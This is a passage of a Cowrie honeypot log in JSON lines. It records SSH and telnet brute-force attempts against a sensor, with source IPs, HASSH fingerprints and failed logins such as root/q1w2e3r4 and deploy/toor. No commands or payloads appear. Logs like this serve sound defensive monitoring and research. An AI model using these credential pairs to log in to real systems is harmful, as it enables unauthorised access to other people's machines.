0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:36.672519Z","src_ip":"91.92.40.153","session":"9af94d54c2e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.116.158","src_port":51432,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e7cb3e87435","protocol":"telnet","message":"New connection: 167.172.116.158:51432 (159.203.135.109:23) [session: 6e7cb3e87435]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:36.835109Z"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer","message":"login attempt [deployer/deployer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:38.663571Z","src_ip":"91.92.40.153","session":"9af94d54c2e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.116.158","src_port":51426,"dst_ip":"159.203.135.109","dst_port":23,"session":"204d4c934f3e","protocol":"telnet","message":"New connection: 167.172.116.158:51426 (159.203.135.109:23) [session: 204d4c934f3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:38.871185Z"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:40.149729Z","src_ip":"91.92.40.153","session":"9af94d54c2e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"40.2","message":"Connection lost after 40.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:40.179599Z","src_ip":"139.99.74.35","session":"135bfe973a04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":52096,"dst_ip":"159.203.135.109","dst_port":22,"session":"9826e46a31f5","protocol":"ssh","message":"New connection: 139.99.74.35:52096 (159.203.135.109:22) [session: 9826e46a31f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:40.409932Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":40072,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1467f352197","protocol":"ssh","message":"New connection: 160.187.174.22:40072 (159.203.135.109:22) [session: b1467f352197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:40.651709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:40.655526Z","src_ip":"160.187.174.22","session":"b1467f352197","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:40.905993Z","src_ip":"160.187.174.22","session":"b1467f352197","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch","message":"login attempt [elasticsearch/elasticsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:41.716787Z","src_ip":"160.187.174.22","session":"b1467f352197","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":41560,"dst_ip":"10.17.0.5","dst_port":22,"session":"b89e3615d97d","protocol":"ssh","message":"New connection: 91.92.40.153:41560 (10.17.0.5:22) [session: b89e3615d97d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:42.708183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:42.913778Z","src_ip":"91.92.40.153","session":"b89e3615d97d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:42.916750Z","src_ip":"91.92.40.153","session":"b89e3615d97d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:42.999566Z","src_ip":"160.187.174.22","session":"b1467f352197","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lucas","password":"lucas","message":"login attempt [lucas/lucas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:43.740202Z","src_ip":"91.92.40.153","session":"b89e3615d97d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:45.004661Z","src_ip":"91.92.40.153","session":"b89e3615d97d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:45.221240Z","src_ip":"139.99.74.35","session":"9826e46a31f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":42922,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5b0b92229b2","protocol":"ssh","message":"New connection: 139.99.74.35:42922 (159.203.135.109:22) [session: b5b0b92229b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:45.452096Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":41640,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a0ff6970868","protocol":"ssh","message":"New connection: 91.92.40.153:41640 (10.17.0.5:22) [session: 7a0ff6970868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:48.653527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:48.784023Z","src_ip":"91.92.40.153","session":"7a0ff6970868","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:48.787492Z","src_ip":"91.92.40.153","session":"7a0ff6970868","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:49.490400Z","src_ip":"91.92.40.153","session":"7a0ff6970868","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:50.690031Z","src_ip":"91.92.40.153","session":"7a0ff6970868","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:50.928764Z","src_ip":"139.99.74.35","session":"b5b0b92229b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":42948,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f0832979a41","protocol":"ssh","message":"New connection: 139.99.74.35:42948 (159.203.135.109:22) [session: 1f0832979a41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:51.155002Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":49832,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3ab587d3376","protocol":"ssh","message":"New connection: 91.92.40.153:49832 (10.17.0.5:22) [session: f3ab587d3376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:54.706198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:54.791070Z","src_ip":"91.92.40.153","session":"f3ab587d3376","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:54.794245Z","src_ip":"91.92.40.153","session":"f3ab587d3376","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"toor","message":"login attempt [deploy/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:55.409667Z","src_ip":"91.92.40.153","session":"f3ab587d3376","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:55.925533Z","src_ip":"139.99.74.35","session":"1f0832979a41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":60752,"dst_ip":"159.203.135.109","dst_port":22,"session":"02dcdf289982","protocol":"ssh","message":"New connection: 139.99.74.35:60752 (159.203.135.109:22) [session: 02dcdf289982]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:56.168575Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:56.616360Z","src_ip":"91.92.40.153","session":"f3ab587d3376","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":49886,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb46199a48cf","protocol":"ssh","message":"New connection: 91.92.40.153:49886 (10.17.0.5:22) [session: fb46199a48cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:00.785241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:00.805483Z","src_ip":"91.92.40.153","session":"fb46199a48cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:00.890700Z","src_ip":"91.92.40.153","session":"fb46199a48cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:00.949864Z","src_ip":"139.99.74.35","session":"02dcdf289982","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":60758,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3946425e71e","protocol":"ssh","message":"New connection: 139.99.74.35:60758 (159.203.135.109:22) [session: c3946425e71e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:01.192594Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"t0talc0ntr0l4!","message":"login attempt [root/t0talc0ntr0l4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:01.238412Z","src_ip":"91.92.40.153","session":"fb46199a48cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.132.164.82","src_port":59810,"dst_ip":"10.17.0.5","dst_port":22,"session":"282a3cad5d35","protocol":"ssh","message":"New connection: 115.132.164.82:59810 (10.17.0.5:22) [session: 282a3cad5d35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:02.058223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:02.067639Z","src_ip":"115.132.164.82","session":"282a3cad5d35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:02.322475Z","src_ip":"115.132.164.82","session":"282a3cad5d35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:02.467577Z","src_ip":"91.92.40.153","session":"fb46199a48cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vincent","password":"vincent","message":"login attempt [vincent/vincent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:03.371828Z","src_ip":"115.132.164.82","session":"282a3cad5d35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:04.630796Z","src_ip":"115.132.164.82","session":"282a3cad5d35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:05.970696Z","src_ip":"139.99.74.35","session":"c3946425e71e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":59062,"dst_ip":"159.203.135.109","dst_port":22,"session":"924c909c0d5a","protocol":"ssh","message":"New connection: 139.99.74.35:59062 (159.203.135.109:22) [session: 924c909c0d5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:06.199262Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":52854,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb6df2f1fd0a","protocol":"ssh","message":"New connection: 160.187.174.22:52854 (159.203.135.109:22) [session: fb6df2f1fd0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:06.253039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:06.257248Z","src_ip":"160.187.174.22","session":"fb6df2f1fd0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:02:06.505033Z","src_ip":"160.187.174.22","session":"fb6df2f1fd0a","protocol":"ssh"}
